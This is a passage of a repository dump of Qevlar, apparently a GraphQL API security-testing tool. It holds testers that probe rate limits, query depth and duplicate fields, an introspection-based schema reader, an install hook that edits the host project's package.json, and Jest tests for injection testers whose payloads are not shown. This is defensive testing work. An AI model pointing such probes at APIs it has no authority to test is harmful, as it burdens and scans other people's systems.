├── __tests__ ├── rateLimitTests.js ├── validateConfig.js ├── adaptiveRateLimitingTest.js ├── maliciousInjectionTests.js ├── fieldDuplicationTest.js ├── depthLimitTests.js └── queryBatchTest.js ├── .gitignore ├── .DS_Store ├── src ├── .DS_Store ├── tests │ ├── fieldDuplicationTest.js │ ├── rateLimitTest.js │ ├── adaptiveRateLimitingTest.js │ ├── queryBatchTest.js │ ├── depthLimitTests.js │ └── maliciousInjectionTests.js └── getSchema.js ├── assets ├── qevlar_logo_black.png ├── qevlar_github-banner.png ├── qevlar_test_menufinal.png ├── qevlar_depth_limit_snippet.png ├── qevlar_rate_limit_snippet.png └── qevlar_sql_injection_snippet.png ├── qevlarConfig.json ├── scripts └── postInstall.js ├── package.json ├── color.js ├── qevlar └── README.md /__tests__/rateLimitTests.js: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | 3 | -------------------------------------------------------------------------------- /.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/.DS_Store -------------------------------------------------------------------------------- /src/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/src/.DS_Store -------------------------------------------------------------------------------- /assets/qevlar_logo_black.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_logo_black.png -------------------------------------------------------------------------------- /assets/qevlar_github-banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_github-banner.png -------------------------------------------------------------------------------- /assets/qevlar_test_menufinal.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_test_menufinal.png -------------------------------------------------------------------------------- /assets/qevlar_depth_limit_snippet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_depth_limit_snippet.png -------------------------------------------------------------------------------- /assets/qevlar_rate_limit_snippet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_rate_limit_snippet.png -------------------------------------------------------------------------------- /assets/qevlar_sql_injection_snippet.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oslabs-beta/qevlar/HEAD/assets/qevlar_sql_injection_snippet.png -------------------------------------------------------------------------------- /qevlarConfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "ANY_TOP_LEVEL_FIELD_ID": "", 3 | "API_URL": "http://localhost:3001/graphql", 4 | "BATCH_SIZE": 10, 5 | "CIRCULAR_REF_FIELD": "Food", 6 | "INCREMENT": 10, 7 | "INITIAL_RATE": 10, 8 | "NO_SQL": false, 9 | "QUERY_DEPTH_LIMIT": 5, 10 | "QUERY_RATE_LIMIT": 100, 11 | "SQL": false, 12 | "SQL_COLUMN_NAME": "", 13 | "SQL_TABLE_NAME": "", 14 | "SUB_FIELD": "id", 15 | "TIME_WINDOW": 1000, 16 | "TOP_LEVEL_FIELD": "meal" 17 | } -------------------------------------------------------------------------------- /scripts/postInstall.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | 4 | const scriptName = 'qevlar'; 5 | const scriptCommand = 'node node_modules/qevlar'; 6 | 7 | const packageJsonPath = path.join('../../', 'package.json'); 8 | console.log(packageJsonPath); 9 | const packageJson = JSON.parse(fs.readFileSync(packageJsonPath)); 10 | 11 | packageJson.scripts[scriptName] = scriptCommand; 12 | 13 | fs.writeFileSync(packageJsonPath, JSON.stringify(packageJson, null, 2)); 14 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "qevlar", 3 | "displayName": "Qevlar", 4 | "version": "1.0.0", 5 | "description": "GraphQL Security Testing Library", 6 | "keywords": [ 7 | "graphql", 8 | "API", 9 | "security", 10 | "testing" 11 | ], 12 | "icon": "assets/qevlar-logo-black.png", 13 | "main": "qevlar", 14 | "scripts": { 15 | "start": "qevlar", 16 | "qevlar": "qevlar", 17 | "test": "jest" 18 | }, 19 | "repository": { 20 | "type": "git", 21 | "url": "https://github.com/oslabs-beta/Qevlar" 22 | }, 23 | "author": "Joshua McDaniel jwilliammcdaniel@gmail.com, Conor Bell conorbell27@gmail.com, Hyung Noh johnhyungilnoh@gmail.com, Landon Osteen landonwyatteosteen@gmail.com", 24 | "license": "ISC", 25 | "bugs": { 26 | "url": "https://github.com/oslabs-beta/Qevlar/issues" 27 | }, 28 | "dependencies": { 29 | "readme-md-generator": "^1.0.0" 30 | }, 31 | "devDependencies": { 32 | "jest": "^29.7.0" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /__tests__/validateConfig.js: -------------------------------------------------------------------------------- 1 | const { redBold, highlight } = require('../color'); 2 | 3 | function validateConfig(config) { 4 | const expectedTypes = { 5 | ANY_TOP_LEVEL_FIELD_ID: ['number', 'string'], 6 | API_URL: ['string'], 7 | BATCH_SIZE: ['number'], 8 | CIRCULAR_REF_FIELD: ['string'], 9 | INCREMENT: ['number'], 10 | INITIAL_RATE: ['number'], 11 | NO_SQL: ['boolean'], 12 | QUERY_DEPTH_LIMIT: ['number'], 13 | QUERY_RATE_LIMIT: ['number'], 14 | SQL: ['boolean'], 15 | SQL_COLUMN_NAME: ['string'], 16 | SQL_TABLE_NAME: ['string'], 17 | SUB_FIELD: ['string'], 18 | TIME_WINDOW: ['number'], 19 | TOP_LEVEL_FIELD: ['string'], 20 | }; 21 | 22 | const keys = Object.keys(expectedTypes); 23 | for (const key of keys) { 24 | if (!expectedTypes[key].includes(typeof config[key])) { 25 | console.error( 26 | highlight( 27 | redBold( 28 | `\nERROR: INVALID TYPE FOR ${key}\nPlease adjust your qevlarConfig.json to properly account for the correct data types.\nExpected ${ 29 | expectedTypes[key] 30 | }, but got ${typeof config[key]}\n` 31 | ) 32 | ) 33 | ); 34 | return false; 35 | } 36 | } 37 | return true; 38 | } 39 | 40 | module.exports = validateConfig; 41 | -------------------------------------------------------------------------------- /src/tests/fieldDuplicationTest.js: -------------------------------------------------------------------------------- 1 | const { greenBold, redBold, yellowBold, highlight } = require('../../color'); 2 | const config = require('../../qevlarConfig.json'); 3 | const validateConfig = require('../../__tests__/validateConfig'); 4 | 5 | // Tests vulnerability to field duplication 6 | async function fieldDuplicationTest(returnToTestMenu) { 7 | const query = `{ ${config.TOP_LEVEL_FIELD}(id: ${config.ANY_TOP_LEVEL_FIELD_ID}) { ${config.SUB_FIELD} ${config.SUB_FIELD} } }`; 8 | 9 | try { 10 | const response = await fetch(config.API_URL, { 11 | method: 'POST', 12 | headers: { 'Content-Type': 'application/json' }, 13 | body: JSON.stringify({ query }), 14 | }); 15 | 16 | if (!response.ok) { 17 | throw new Error('Network response was not ok.'); 18 | } 19 | 20 | const result = await response.json(); 21 | 22 | const stringResult = JSON.stringify(result); 23 | console.log(redBold('\nTest failed:')); 24 | console.log(highlight('API accepted duplicate fields.\n')); 25 | console.log(yellowBold('API returned:'), `\n${stringResult}\n`); 26 | } catch (error) { 27 | console.log(greenBold('\nTest passed:')); 28 | console.log(highlight('API rejected duplicate fields.\n')); 29 | console.log('\nSummary of Error'); 30 | console.log('Error: ' + error.message); 31 | } 32 | 33 | if (returnToTestMenu && typeof returnToTestMenu === 'function') 34 | returnToTestMenu(); 35 | } 36 | 37 | module.exports = fieldDuplicationTest; 38 | -------------------------------------------------------------------------------- /src/tests/rateLimitTest.js: -------------------------------------------------------------------------------- 1 | const { greenBold, highlight, redBold } = require('../../color'); 2 | const config = require('../../qevlarConfig.json'); 3 | const validateConfig = require('../../__tests__/validateConfig'); 4 | 5 | // Tests rate limiting at QUERY_RATE_LIMIT 6 | async function rateLimitTest(returnToTestMenu) { 7 | validateConfig(config); 8 | const query = `{ ${config.TOP_LEVEL_FIELD} { ${config.SUB_FIELD} } }`; 9 | 10 | let reqs = 0; 11 | let lastReqTime = Date.now(); 12 | 13 | const makeRequest = async () => { 14 | reqs += 1; 15 | try { 16 | const response = await fetch(config.API_URL, { 17 | method: 'POST', 18 | headers: { 'Content-Type': 'application/json' }, 19 | body: JSON.stringify({ query }), 20 | }); 21 | 22 | if (!response.ok) { 23 | throw new Error(`HTTP error! status: ${response.status}`); 24 | } 25 | 26 | console.log( 27 | redBold('Test failed: '), 28 | `API accepted requests above rate limit (${config.QUERY_RATE_LIMIT}).` 29 | ); 30 | } catch (error) { 31 | console.log( 32 | greenBold('Test passed: '), 33 | `API did not accept requests above rate limit (${config.QUERY_RATE_LIMIT}). Error: ${error.message}` 34 | ); 35 | } 36 | }; 37 | 38 | // Request count within the time interval 39 | const now = Date.now(); 40 | 41 | if (now - lastReqTime < config.TIME_WINDOW) { 42 | console.log( 43 | greenBold('Test passed: ') + 'Requests made within time window.' 44 | ); 45 | } else { 46 | reqs = 0; 47 | lastReqTime = now; 48 | console.log( 49 | redBold('Test failed: ') + 'Time window elapsed. Resetting request count.' 50 | ); 51 | makeRequest(); 52 | } 53 | 54 | if (returnToTestMenu) returnToTestMenu(); 55 | } 56 | 57 | module.exports = rateLimitTest; 58 | -------------------------------------------------------------------------------- /src/tests/adaptiveRateLimitingTest.js: -------------------------------------------------------------------------------- 1 | const { greenBold, highlight, green } = require('../../color'); 2 | const config = require('../../qevlarConfig.json'); 3 | const validateConfig = require('../../__tests__/validateConfig'); 4 | 5 | // Tests from INITIAL_RATE up to QUERY_RATE_LIMIT at each INCREMENT 6 | async function adaptiveRateLimitingTest(returnToTestMenu) { 7 | validateConfig(config); 8 | 9 | const query = `{ ${config.TOP_LEVEL_FIELD} { ${config.SUB_FIELD} } }`; 10 | let rate = config.INITIAL_RATE; 11 | let success = true; 12 | 13 | console.log('Starting Adaptive Rate Limiting Test...'); 14 | 15 | while (success && rate < config.QUERY_RATE_LIMIT) { 16 | console.log( 17 | green('Testing at rate: ') + `${rate} requests per unit time...` 18 | ); 19 | 20 | try { 21 | for (let i = 0; i < rate; i++) { 22 | await sendGraphQLRequest(config.API_URL, query); 23 | } 24 | console.log(`Success: API accepted ${rate} requests per unit time.`); 25 | rate += config.INCREMENT; 26 | } catch (error) { 27 | success = false; 28 | console.log(greenBold('\nTest completed\n')); 29 | console.log(highlight('Summary of Test Failure:')); 30 | console.log(`- Failed at rate: ${rate} requests per unit time.`); 31 | console.log(`- Error Message: ${error.message}`); 32 | console.log( 33 | `- Possible rate limit of the API is just below ${rate} requests per unit time.\n` 34 | ); 35 | } 36 | } 37 | 38 | if (!success) { 39 | console.log( 40 | 'Consider adjusting the rate limits for better performance or resilience.' 41 | ); 42 | } else { 43 | console.log( 44 | greenBold( 45 | 'Test concluded: No rate limiting detected within the tested range.' 46 | ) 47 | ); 48 | } 49 | 50 | if (returnToTestMenu) returnToTestMenu(); 51 | } 52 | 53 | async function sendGraphQLRequest(url, query) { 54 | const response = await fetch(url, { 55 | method: 'POST', 56 | headers: { 57 | 'Content-Type': 'application/json', 58 | Accept: 'application/json', 59 | }, 60 | body: JSON.stringify({ query }), 61 | }); 62 | 63 | if (!response.ok) { 64 | throw new Error(`HTTP error! status: ${response.status}`); 65 | } 66 | 67 | return response.json(); 68 | } 69 | 70 | module.exports = adaptiveRateLimitingTest; 71 | -------------------------------------------------------------------------------- /color.js: -------------------------------------------------------------------------------- 1 | //Terminal formatting codes 2 | 3 | const color = { 4 | //GREEN 5 | green: (str) => "\u001b[" + `2;32m${str}` + "\u001b[0m", //faint green 6 | greenBold: (str) => "\u001b[" + `1;32m${str}` + "\u001b[0m", //bold green 7 | greenItalic: (str) => "\u001b[" + `3;32m${str}` + "\u001b[0m", //italic green 8 | greenHighlight: (str) => "\u001b[" + `7;32m${str}` + "\u001b[0m", //highlight green 9 | greenUnderlined: (str) => "\u001b[" + `4;32m${str}` + "\u001b[0m", //underlined green 10 | greenOut: (str) => "\u001b[" + `7;8;32m${str}` + "\u001b[0m", //green block 11 | 12 | //RED 13 | red: (str) => "\u001b[" + `2;31m${str}` + "\u001b[0m", //faint red 14 | redBold: (str) => "\u001b[" + `1;31m${str}` + "\u001b[0m", //bold red 15 | redItalic: (str) => "\u001b[" + `3;31m${str}` + "\u001b[0m", //italic red 16 | redHighlight: (str) => "\u001b[" + `7;31m${str}` + "\u001b[0m", //highlight red 17 | redUnderlined: (str) => "\u001b[" + `4;31m${str}` + "\u001b[0m", //underlined red 18 | redOut: (str) => "\u001b[" + `7;8;31m${str}` + "\u001b[0m", //red block 19 | 20 | //DARK 21 | dark: (str) => "\u001b[" + `2;30m${str}` + "\u001b[0m", //faint dark 22 | darkBold: (str) => "\u001b[" + `1;30m${str}` + "\u001b[0m", //bold dark 23 | darkItalic: (str) => "\u001b[" + `3;30m${str}` + "\u001b[0m", //italic dark 24 | darkHighlight: (str) => "\u001b[" + `7;30m${str}` + "\u001b[0m", //highlight dark 25 | darkUnderlined: (str) => "\u001b[" + `4;30m${str}` + "\u001b[0m", //underlined dark 26 | darkOut: (str) => "\u001b[" + `7;8;30m${str}` + "\u001b[0m", //dark block 27 | 28 | //YELLOW 29 | yellow: (str) => "\u001b[" + `2;33m${str}` + "\u001b[0m", //faint yellow 30 | yellowBold: (str) => "\u001b[" + `1;33m${str}` + "\u001b[0m", //bold yellow 31 | yellowItalic: (str) => "\u001b[" + `3;33m${str}` + "\u001b[0m", //italic yellow 32 | yellowHighlight: (str) => "\u001b[" + `7;33m${str}` + "\u001b[0m", //highlight yellow 33 | yellowUnderlined: (str) => "\u001b[" + `4;33m${str}` + "\u001b[0m", //underlined yellow 34 | yellowOut: (str) => "\u001b[" + `7;8;33m${str}` + "\u001b[0m", //yellow block 35 | 36 | //WHITE (normal) 37 | bold: (str) => "\u001b[" + `1m${str}` + "\u001b[0m", //bold 38 | italic: (str) => "\u001b[" + `3m${str}` + "\u001b[0m", //italic 39 | highlight: (str) => "\u001b[" + `7m${str}` + "\u001b[0m", //white highlight 40 | underlined: (str) => "\u001b[" + `4m${str}` + "\u001b[0m", //underlined 41 | whiteOut: (str) => "\u001b[" + `7;8m${str}` + "\u001b[0m", // white block 42 | }; 43 | 44 | module.exports = color; 45 | -------------------------------------------------------------------------------- /__tests__/adaptiveRateLimitingTest.js: -------------------------------------------------------------------------------- 1 | const adaptiveRateLimitingTest = require('../src/tests/adaptiveRateLimitingTest'); 2 | const fetch = require('node-fetch'); 3 | 4 | // Mocking the console.log function 5 | global.console.log = jest.fn(); 6 | 7 | // Mocking node-fetch 8 | jest.mock('node-fetch'); 9 | 10 | describe('adaptiveRateLimitingTest', () => { 11 | afterEach(() => { 12 | jest.clearAllMocks(); 13 | }); 14 | 15 | it('should handle successful rate limiting test', async () => { 16 | const config = { 17 | TOP_LEVEL_FIELD: 'topField', 18 | SUB_FIELD: 'subField', 19 | API_URL: 'https://example.com/graphql', 20 | INITIAL_RATE: 10, 21 | QUERY_RATE_LIMIT: 100, 22 | INCREMENT: 10, 23 | }; 24 | 25 | const returnToTestMenu = jest.fn(); 26 | 27 | // Mocking successful fetch request 28 | fetch.mockResolvedValueOnce({ ok: true }); 29 | 30 | await adaptiveRateLimitingTest(returnToTestMenu); 31 | 32 | expect(console.log).toHaveBeenCalledWith( 33 | expect.stringContaining('Starting Adaptive Rate Limiting Test') 34 | ); 35 | expect(console.log).toHaveBeenCalledWith( 36 | expect.stringContaining('Testing at rate: ') 37 | ); 38 | expect(console.log).toHaveBeenCalledWith( 39 | expect.stringContaining( 40 | 'Success: API accepted 10 requests per unit time.' 41 | ) 42 | ); 43 | expect(console.log).toHaveBeenCalledWith( 44 | expect.stringContaining( 45 | 'Test concluded: No rate limiting detected within the tested range.' 46 | ) 47 | ); 48 | expect(returnToTestMenu).toHaveBeenCalled(); 49 | }); 50 | 51 | it('should handle rate limiting test failure', async () => { 52 | const config = { 53 | TOP_LEVEL_FIELD: 'topField', 54 | SUB_FIELD: 'subField', 55 | API_URL: 'https://example.com/graphql', 56 | INITIAL_RATE: 10, 57 | QUERY_RATE_LIMIT: 100, 58 | INCREMENT: 10, 59 | }; 60 | 61 | const returnToTestMenu = jest.fn(); 62 | 63 | // Mocking failing fetch request 64 | fetch.mockRejectedValueOnce(new Error('Rate limit exceeded')); 65 | 66 | await adaptiveRateLimitingTest(returnToTestMenu); 67 | 68 | expect(console.log).toHaveBeenCalledWith( 69 | expect.stringContaining('Starting Adaptive Rate Limiting Test') 70 | ); 71 | expect(console.log).toHaveBeenCalledWith( 72 | expect.stringContaining('Testing at rate: ') 73 | ); 74 | expect(console.log).toHaveBeenCalledWith( 75 | expect.stringContaining('Test completed') 76 | ); 77 | expect(console.log).toHaveBeenCalledWith( 78 | expect.stringContaining('Failed at rate: 20 requests per unit time.') 79 | ); 80 | expect(console.log).toHaveBeenCalledWith( 81 | expect.stringContaining('Error Message: Rate limit exceeded') 82 | ); 83 | expect(console.log).toHaveBeenCalledWith( 84 | expect.stringContaining('Possible rate limit of the API is just below') 85 | ); 86 | expect(console.log).toHaveBeenCalledWith( 87 | expect.stringContaining('Consider adjusting the rate limits') 88 | ); 89 | expect(returnToTestMenu).toHaveBeenCalled(); 90 | }); 91 | }); 92 | -------------------------------------------------------------------------------- /src/getSchema.js: -------------------------------------------------------------------------------- 1 | const config = require('../qevlarConfig.json'); 2 | const readline = require('readline'); 3 | const fs = require('fs'); 4 | const path = require('path'); 5 | 6 | //Find match between types and types referenced in fields to populate CIRCULAR_REF_FIELD in qevlarConfig.json 7 | const getCircularRefField = (schema) => { 8 | const visited = new Set(); 9 | let circularRef = null; 10 | 11 | schema.types.forEach((type) => { 12 | if (type.description === 'Root Query') { 13 | type.fields.forEach((field) => { 14 | console.log('field', field); 15 | if (field.type.name) { 16 | visited.add(field.type.name); 17 | } 18 | }); 19 | } 20 | 21 | if (type.fields) { 22 | type.fields.forEach((field) => { 23 | if (visited.has(field.type.name)) { 24 | circularRef = field.type.name; 25 | } 26 | }); 27 | } 28 | }); 29 | 30 | return circularRef; 31 | }; 32 | 33 | //Extract types array to populate TOP_LEVEL_FIELD and SUB_FIELD in qevlarConfig.json 34 | const getTopAndSubField = (schema) => { 35 | const types = schema.data.__schema.types; 36 | 37 | let rootQuery; 38 | let topField; 39 | let topObjType; 40 | let subField; 41 | 42 | const circularRefField = getCircularRefField(schema.data.__schema); 43 | 44 | types.forEach((type) => { 45 | if (type.name === 'Query') { 46 | rootQuery = type; 47 | } 48 | }); 49 | 50 | topField = rootQuery.fields[0].name; 51 | topObjType = rootQuery.fields[0].type.name; 52 | 53 | const getSubField = types.find((type) => type.name === topObjType); 54 | 55 | subField = getSubField.fields[0].name; 56 | 57 | config.TOP_LEVEL_FIELD = topField; 58 | config.SUB_FIELD = subField; 59 | config.CIRCULAR_REF_FIELD = circularRefField; 60 | }; 61 | const introspectionQuery = `{ 62 | __schema { 63 | types { 64 | name 65 | description 66 | fields { 67 | name 68 | description 69 | type { 70 | name 71 | kind 72 | } 73 | } 74 | } 75 | } 76 | }`; 77 | 78 | // Dynamically generate qevlarConfig.json 79 | const modifyConig = () => { 80 | fs.writeFile( 81 | path.join(__dirname, '../qevlarConfig.json'), 82 | JSON.stringify(config, null, 2), 83 | (err) => { 84 | if (err) { 85 | console.log('error writing to qevlarConfig.json:', err); 86 | } else { 87 | console.log('qevlarConfig.json updated successfully!'); 88 | } 89 | } 90 | ); 91 | return 'success'; 92 | }; 93 | 94 | const getSchema = (url, returnToTestMenu) => { 95 | config.API_URL = url; 96 | return fetch(url, { 97 | method: 'POST', 98 | headers: { 'Content-type': 'application/json' }, 99 | body: JSON.stringify({ query: introspectionQuery }), 100 | }) 101 | .then((res) => { 102 | console.log('res status', res.status); 103 | if (res.status === 200) { 104 | return res.json(); 105 | } 106 | }) 107 | .then((data) => { 108 | getTopAndSubField(data); 109 | 110 | modifyConig(); 111 | if (returnToTestMenu) returnToTestMenu(); 112 | }) 113 | .catch((error) => { 114 | console.log('error', error); 115 | }); 116 | }; 117 | 118 | module.exports = getSchema; 119 | -------------------------------------------------------------------------------- /__tests__/maliciousInjectionTests.js: -------------------------------------------------------------------------------- 1 | const maliciousInjectionTest = require('../src/tests/maliciousInjectionTests'); 2 | const config = require('../qevlarConfig.json'); 3 | const validateConfig = require('./validateConfig'); 4 | 5 | jest.mock('../qevlarConfig.json', () => ({ 6 | API_URL: 'http://test-api.com', 7 | SQL: true, 8 | NO_SQL: true, 9 | SQL_TABLE_NAME: 'test_table', 10 | SQL_COLUMN_NAME: 'test_column', 11 | TOP_LEVEL_FIELD: 'test_field', 12 | ANY_TOP_LEVEL_FIELD_ID: '123', 13 | })); 14 | 15 | jest.mock('./validateConfig', () => jest.fn()); 16 | 17 | global.fetch = jest.fn(); 18 | 19 | describe('maliciousInjectionTest', () => { 20 | beforeEach(() => { 21 | jest.clearAllMocks(); 22 | console.log = jest.fn(); 23 | config.SQL = true; 24 | config.NO_SQL = true; 25 | }); 26 | 27 | describe('SQL', () => { 28 | it('should test SQL injection vulnerabilities', async () => { 29 | global.fetch 30 | .mockResolvedValueOnce({ ok: true }) 31 | .mockResolvedValueOnce({ ok: false }); 32 | 33 | await maliciousInjectionTest.SQL(); 34 | 35 | expect(validateConfig).toHaveBeenCalledWith(config); 36 | expect(global.fetch).toHaveBeenCalledTimes(2); 37 | expect(console.log).toHaveBeenCalledTimes(2); 38 | }); 39 | 40 | it('should not run if SQL config is false', async () => { 41 | config.SQL = false; 42 | 43 | await maliciousInjectionTest.SQL(); 44 | 45 | expect(console.log).toHaveBeenCalledWith( 46 | 'SQL config variable must be set to boolean true to execute SQL injection test.' 47 | ); 48 | expect(global.fetch).not.toHaveBeenCalled(); 49 | }); 50 | }); 51 | 52 | describe('NoSQL', () => { 53 | it('should test NoSQL injection vulnerabilities', async () => { 54 | global.fetch 55 | .mockResolvedValueOnce({ ok: true }) 56 | .mockResolvedValueOnce({ ok: false }); 57 | 58 | await maliciousInjectionTest.NoSQL(); 59 | 60 | expect(validateConfig).toHaveBeenCalledWith(config); 61 | expect(global.fetch).toHaveBeenCalledTimes(2); 62 | expect(console.log).toHaveBeenCalledTimes(2); 63 | }); 64 | 65 | it('should not run if NO_SQL config is false', async () => { 66 | config.NO_SQL = false; 67 | 68 | await maliciousInjectionTest.NoSQL(); 69 | 70 | expect(console.log).toHaveBeenCalledWith( 71 | 'NO_SQL config variable must be set to boolean true to execute NO_SQL injection test.' 72 | ); 73 | expect(global.fetch).not.toHaveBeenCalled(); 74 | }); 75 | }); 76 | 77 | describe('XSS', () => { 78 | it('should test XSS injection vulnerabilities', async () => { 79 | global.fetch 80 | .mockResolvedValueOnce({ ok: true }) 81 | .mockResolvedValueOnce({ ok: false }); 82 | 83 | await maliciousInjectionTest.XSS(); 84 | 85 | expect(validateConfig).toHaveBeenCalledWith(config); 86 | expect(global.fetch).toHaveBeenCalledTimes(2); 87 | expect(console.log).toHaveBeenCalledTimes(2); 88 | }); 89 | }); 90 | 91 | describe('OS', () => { 92 | it('should test OS command injection vulnerabilities', async () => { 93 | global.fetch 94 | .mockResolvedValueOnce({ ok: true }) 95 | .mockResolvedValueOnce({ ok: false }); 96 | 97 | await maliciousInjectionTest.OS(); 98 | 99 | expect(validateConfig).toHaveBeenCalledWith(config); 100 | expect(global.fetch).toHaveBeenCalledTimes(2); 101 | expect(console.log).toHaveBeenCalledTimes(2); 102 | }); 103 | }); 104 | }); 105 | -------------------------------------------------------------------------------- /__tests__/fieldDuplicationTest.js: -------------------------------------------------------------------------------- 1 | const fieldDuplicationTest = require('../src/tests/fieldDuplicationTest'); 2 | const config = require('../qevlarConfig.json'); 3 | const validateConfig = require('./validateConfig'); 4 | const { greenBold, redBold, yellowBold, highlight } = require('../color'); 5 | 6 | jest.mock('../color', () => ({ 7 | greenBold: jest.fn((text) => text), 8 | redBold: jest.fn((text) => text), 9 | highlight: jest.fn((text) => text), 10 | })); 11 | 12 | jest.mock('../qevlarConfig.json', () => ({ 13 | API_URL: 'http://test-api.com', 14 | TOP_LEVEL_FIELD: 'test_field', 15 | ANY_TOP_LEVEL_FIELD_ID: '123', 16 | SUB_FIELD: 'sub_field', 17 | })); 18 | 19 | jest.mock('./validateConfig', () => jest.fn()); 20 | 21 | // Mock fetch function 22 | global.fetch = jest.fn(); 23 | 24 | describe('fieldDuplicationTest', () => { 25 | beforeEach(() => { 26 | jest.clearAllMocks(); 27 | console.log = jest.fn(); 28 | }); 29 | 30 | it('should log failure if API accepts duplicate fields', async () => { 31 | const mockResponse = { 32 | ok: true, 33 | json: jest.fn().mockResolvedValue({ data: 'mockData' }), 34 | }; 35 | global.fetch.mockResolvedValueOnce(mockResponse); 36 | 37 | const returnToTestMenu = jest.fn(); 38 | 39 | await fieldDuplicationTest(returnToTestMenu); 40 | 41 | const expectedQuery = `{ test_field(id: 123) { sub_field sub_field } }`; 42 | 43 | expect(global.fetch).toHaveBeenCalledWith(config.API_URL, { 44 | method: 'POST', 45 | headers: { 'Content-Type': 'application/json' }, 46 | body: JSON.stringify({ query: expectedQuery }), 47 | }); 48 | 49 | expect(console.log).toHaveBeenCalledWith(redBold('\nTest failed:')); 50 | expect(console.log).toHaveBeenCalledWith( 51 | highlight('API accepted duplicate fields.\n') 52 | ); 53 | expect(console.log).toHaveBeenCalledWith( 54 | yellowBold('API returned:'), 55 | `\n{"data":"mockData"}\n` 56 | ); 57 | 58 | expect(returnToTestMenu).toHaveBeenCalled(); 59 | }); 60 | 61 | it('should log success if API rejects duplicate fields', async () => { 62 | global.fetch.mockRejectedValueOnce( 63 | new Error('Network response was not ok.') 64 | ); 65 | 66 | const returnToTestMenu = jest.fn(); 67 | 68 | await fieldDuplicationTest(returnToTestMenu); 69 | 70 | expect(global.fetch).toHaveBeenCalled(); 71 | 72 | expect(console.log).toHaveBeenCalledWith(greenBold('\nTest passed:')); 73 | expect(console.log).toHaveBeenCalledWith( 74 | highlight('API rejected duplicate fields.\n') 75 | ); 76 | expect(console.log).toHaveBeenCalledWith('\nSummary of Error'); 77 | expect(console.log).toHaveBeenCalledWith( 78 | 'Error: Network response was not ok.' 79 | ); 80 | 81 | expect(returnToTestMenu).toHaveBeenCalled(); 82 | }); 83 | 84 | it('should call returnToTestMenu if it is a function', async () => { 85 | global.fetch.mockResolvedValueOnce({ 86 | ok: true, 87 | json: jest.fn().mockResolvedValue({ data: 'mockData' }), 88 | }); 89 | 90 | const returnToTestMenu = jest.fn(); 91 | 92 | await fieldDuplicationTest(returnToTestMenu); 93 | 94 | expect(returnToTestMenu).toHaveBeenCalled(); 95 | }); 96 | 97 | it('should not call returnToTestMenu if it is not a function', async () => { 98 | global.fetch.mockResolvedValueOnce({ 99 | ok: true, 100 | json: jest.fn().mockResolvedValue({ data: 'mockData' }), 101 | }); 102 | 103 | const returnToTestMenu = 'not a function'; 104 | 105 | await fieldDuplicationTest(returnToTestMenu); 106 | 107 | expect(returnToTestMenu).not.toBeCalled(); 108 | }); 109 | }); 110 | -------------------------------------------------------------------------------- /__tests__/depthLimitTests.js: -------------------------------------------------------------------------------- 1 | const { greenBold, redBold, highlight } = require('../color'); 2 | 3 | const depthLimitTest = require('../src/tests/depthLimitTests'); 4 | const config = require('../qevlarConfig.json'); 5 | const validateConfig = require('./validateConfig'); 6 | 7 | jest.mock('../color', () => ({ 8 | greenBold: jest.fn((text) => text), 9 | redBold: jest.fn((text) => text), 10 | highlight: jest.fn((text) => text), 11 | })); 12 | 13 | jest.mock('../qevlarConfig.json', () => ({ 14 | API_URL: 'http://test-api.com', 15 | TOP_LEVEL_FIELD: 'test_field', 16 | ANY_TOP_LEVEL_FIELD_ID: '123', 17 | CIRCULAR_REF_FIELD: 'circular_field', 18 | QUERY_DEPTH_LIMIT: 3, 19 | })); 20 | 21 | jest.mock('./validateConfig', () => jest.fn()); 22 | 23 | // Mock fetch function 24 | global.fetch = jest.fn(); 25 | 26 | describe('depthLimitTest', () => { 27 | beforeEach(() => { 28 | jest.clearAllMocks(); 29 | console.log = jest.fn(); 30 | }); 31 | 32 | describe('max', () => { 33 | it('should validate config and test one level deeper than QUERY_DEPTH_LIMIT', async () => { 34 | global.fetch.mockResolvedValueOnce({ status: 400 }); 35 | 36 | await depthLimitTest.max(); 37 | 38 | expect(validateConfig).toHaveBeenCalledWith(config); 39 | expect(global.fetch).toHaveBeenCalledTimes(1); 40 | expect(console.log).toHaveBeenCalledWith( 41 | greenBold('Test passed: ') + 42 | highlight( 43 | `Query blocked. Query depth exceeded depth limit of ${config.QUERY_DEPTH_LIMIT}.` 44 | ) 45 | ); 46 | }); 47 | 48 | it('should log failure if query is not blocked', async () => { 49 | global.fetch.mockResolvedValueOnce({ status: 200 }); 50 | 51 | await depthLimitTest.max(); 52 | 53 | expect(validateConfig).toHaveBeenCalledWith(config); 54 | expect(global.fetch).toHaveBeenCalledTimes(1); 55 | expect(console.log).toHaveBeenCalledWith( 56 | redBold('Test failed: ') + 57 | highlight( 58 | `Query depth was over limit of ${config.QUERY_DEPTH_LIMIT}, yet was not blocked.` 59 | ) 60 | ); 61 | }); 62 | }); 63 | 64 | describe('incremental', () => { 65 | it('should validate config and test each depth level up to QUERY_DEPTH_LIMIT', async () => { 66 | global.fetch.mockResolvedValue({ status: 200 }); 67 | 68 | await depthLimitTest.incremental(); 69 | 70 | expect(validateConfig).toHaveBeenCalledWith(config); 71 | expect(global.fetch).toHaveBeenCalledTimes(config.QUERY_DEPTH_LIMIT); 72 | for (let i = 1; i <= config.QUERY_DEPTH_LIMIT; i++) { 73 | expect(console.log).toHaveBeenCalledWith( 74 | greenBold(`------> Query at depth ${i} complete.<-------`) 75 | ); 76 | } 77 | }); 78 | 79 | it('should log success if query is blocked at depth above QUERY_DEPTH_LIMIT', async () => { 80 | 